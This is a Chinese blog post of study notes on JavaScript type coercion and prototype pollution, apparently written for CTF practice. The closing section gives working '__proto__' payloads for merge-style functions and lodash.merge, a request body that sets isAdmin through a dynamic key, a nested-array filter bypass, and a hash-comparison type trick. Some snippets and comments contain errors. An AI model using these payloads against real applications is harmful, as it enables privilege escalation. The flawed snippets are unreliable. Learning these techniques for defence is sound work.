js原型链污染

JS基础数据类型:

  1. 基本数据类型:
    • String
    • Number
    • Boolean
    • Null
    • Undefined
    • Symbol
  2. 引用类型:
    • Object
    • Array
    • Function

变量定义:

  • 变量定义的例子

    1
    2
    3
    4
    var car = 'A'; // 定义字符串
    var car = 'B'; // 另一个字符串
    var x = 3.0; // 定义数字
    var is = true; // 定义布尔值
  • 数组定义

    1
    2
    3
    4
    5
    6
    var cars = new Array();
    cars[0] = "A"; // 直接赋值

    var cars = new Array("A", "B", "C"); // 使用Array构造函数定义

    var cars = ["A", "B", "C"]; // 使用字面量定义数组

对象定义:

1
var person = {first: "John", last: "A", score: "C"}; // 定义对象

通过对象进行属性访问:

1
2
name = person.first; // 访问对象的属性
name = person["first"]; // 另一种方式访问 (类似 Python)

函数定义:

  • 传统函数定义

    1
    2
    function xx(a, c) {
    }
  • 匿名函数赋值

    1
    2
    var xx = function(a, c) {
    };
  • 箭头函数

    1
    var xx = (a, c) => {};

加法操作符的使用:

除了number+number和bool和bool其余返回string

  • 数字与字符串的拼接

    • 数字加数字:1 + 1 = 2
    • 字符串加字符串:"abc" + "def" = "abcdef"
    • 字符串加数字:"abc" + 1 = "abc1"
    • 字符串加对象: “uert”+{person:’abc’}=uert{person:’abc’}
    • 对象加对象:[Object Object] 拼接结果
    • 字符串加数组: “uert”+[“abc”,”efg”]=”uertabc”,”efg”
    • 字符串加null: “uert”+null= “uertnull” 同理true和false

    Python 里面不能像 JS 这样混合不同类型的数据来做拼接,但 JS 是可以的。

  • 其他运算符:

    • fuc+fuc=”(a,b)=>{return(a+b)}(a,b)=>{return(a+b)}”
    • arr+arr=”abc,efgabc,abc”
    • arr+true= “abc,deftrue”

非字符串与非字符串的操作:

  • true + true = 2
  • false + false = 0

函数的简写:

  • 使用箭头函数:(a, b) => {return (a + b)}arr + true = abc.deftrue

长度属性:

  • String 的长度:

    • string.length 返回字符串的字符数。
  • Array 的长度:

    • Array.length 返回数组的元素个数。
  • 还提到 number 没有 length 属性。

JSON 解析:

  • 使用 JSON.parse() 可以将 JSON 字符串转化为对象。
  • 注意到你提到 JSON.parse(null) 会返回 null

其他:

  • 使用 in 可以遍历对象的属性。
  • 在最右侧提到 这里指的是数字

js trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
>NaN==NaN
<false
>NaN==NaN
<false
>false=='0'
<ture
>0=='0'
<true
>0==false
<true
>1e-1234 //整数的负大数次方为0
<0
>-1e-1234 //负数的负大数次方为-0
<-0
>0===-0
<true
>1337/0
<无穷
>1337/-0
<负无穷
>负无穷==正无穷
<false
>e=-1
<-1
>!e++
<false
>!e--
<true
>!'0' //例子 f==!f f是"0"就行
<false
>!''
<true
>a=["name":"hello"]
>a["name"]
<'hello'
>a[["name"]]
<'hello'

类型污染

first !== second && shal(salt + frist) === shal(salt + second)

POST : {“frist” : “A” “second”: [“A”]}

原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Function Foo() {...};
let f1 = new Foo();
解释:
每个函数都有一个 prototype 属性,指向一个对象,这个对象包含该构造函数所有实例共享的方法和属性。
每个对象有一个 __proto__ 属性,指向创建该对象的构造函数的 prototype。
let foo = {bar:1};
console.log(foo.bar); //1
foo.__proto__.bar=2; //把foo的原型object
console.log(foo.bar); //还是1
let zoo={};
console.log(zoo.bar); //结果是{}而不是2
我.uert=张三
除非我里面没有张三,才是张铁柱
该爹法
val.__proto__.isAdmin = true
换爹法
val.__proto__={'isAdmin':true}

举例说明:

1
2
3
4
5
6
7
8
9
10
11
function Person(name) {
this.name = name;
}
Person.prototype.sayHello = function() {
console.log("Hello, " + this.name);
};

let john = new Person("John");

console.log(john.__proto__ === Person.prototype); // true
john.sayHello(); // "Hello, John"

在这个例子中:

  • john 是通过 new Person() 创建的对象。
  • john.__proto__ 指向 Person.prototype,它包含 sayHello 方法。
  • 当你调用 john.sayHello() 时,JavaScript 引擎会沿着 __proto__ 查找这个方法,最终在 Person.prototype 上找到并执行。

原型链图解

JavaScript 原型链的核心概念:

  1. 每个对象都有一个隐式原型(__proto__
    • 当你创建一个对象时,该对象会有一个隐式原型指向它的构造函数的 prototype 属性。
  2. 构造函数与 prototype 属性
    • 每个函数都有一个显式原型属性(prototype),这个属性指向通过这个构造函数创建的实例对象的原型。
  3. **对象的 __proto__ 指向构造函数的 prototype**:
    • 例如,let obj = new Foo(); 中,obj.__proto__ === Foo.prototype。即 obj 的原型指向了 Foo 构造函数的 prototype
  4. 构造函数本身也是对象
    • 所以构造函数 Foo 也是由 Function 构造出来的,它有一个 __proto__,指向 Function.prototype
  5. **终点是 null**:
    • 原型链的终点是 null,即 Object.prototype.__proto__ === null

更详细的图形说明:

  • Foo 对象实例
    • foo.__proto__ -> Foo.prototype
  • Foo 构造函数
    • Foo.__proto__ -> Function.prototype
  • Function 构造函数
    • Function.__proto__ -> Function.prototype
    • Function.prototype.__proto__ -> Object.prototype
  • Object 构造函数
    • Object.__proto__ -> Function.prototype
    • Object.prototype.__proto__ -> null

这个层次结构可以这样看:

  • Foo 的实例:继承自 Foo.prototype
  • Foo.prototype:继承自 Object.prototype
  • Foo(构造函数本身):继承自 Function.prototype
  • Function.prototype:继承自 Object.prototype
  • Object.prototype:继承自 null,原型链结束。

经验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
1.obj1[xx]= obj2[yy] 换爹    注释: 这种写法是一种动态属性赋值方式。它的意思是,将 obj2 对象中键为 yy 的值赋给 obj1 对象中键为 xx 的属性。

let obj1 = {};
let obj2 = {
key1: { isAdmin: true },
key2: "value2"
};

// 动态赋值的变量
let xx = "__proto__"; // 设置为 "__proto__" 来修改原型链
let yy = "key1"; // 从 obj2 中获取键为 key1 的值

// 通过原型链污染将 obj2[key1] 的值赋给 obj1.__proto__
obj1[xx] = obj2[yy];

console.log(obj1.isAdmin); // true, 通过原型链污染,obj1 获得了 isAdmin 属性
console.log({}.isAdmin); // true, 所有对象都被污染了


2.obj[xx][yy]=zz 改爹** 在 obj[xx] 返回的结果(假设是一个对象)上,再通过 yy 动态访问其属性。
// 定义一个空对象 obj
let obj = {};

// 设置动态变量
let xx = "__proto__"; // 用来修改对象的原型链
let yy = "isAdmin"; // 我们要在原型链上添加的属性
let zz = true; // 要赋的值

// 使用 obj[xx][yy] = zz 改爹法修改原型链
obj[xx][yy] = zz;

// 现在任何通过 Object 创建的对象都继承了 isAdmin 属性
console.log(obj.isAdmin); // true
console.log({}.isAdmin); // true, 所有新对象也被污染了
+


2.merge() 函数的原型链污染
let maliciousPayload = {
"__proto__": {
"polluted": "malicious value"
}
};

let obj = {};
merge(obj, maliciousPayload);
console.log(obj.polluted); // 输出 "malicious value"



4.lodash.merge() 的原型链污染
const _ = require('lodash');

let maliciousPayload = {
"__proto__": {
"polluted": "malicious value"
}
};

let obj = {};
_.merge(obj, maliciousPayload);
console.log(obj.polluted); // 输出 "malicious value"


5. set() 和 update()
let maliciousPayload = {
"__proto__": {
"polluted": "malicious value"
}
};

// 假设有个深度更新的库函数 `set`
set(obj, 'key', maliciousPayload);
console.log(obj.polluted); // 输出 "malicious value"


your[req.body.key] = req.body.value

1
2
3
{"key":'__proto__',"value":{"isAdmin":1}}
对key__proto__过滤传{"key":[['__proto__']]}试试


js原型链污染
https://theganlove.github.io/2024/09/01/js原型链污染/
作者
uert
发布于
2024年9月1日
许可协议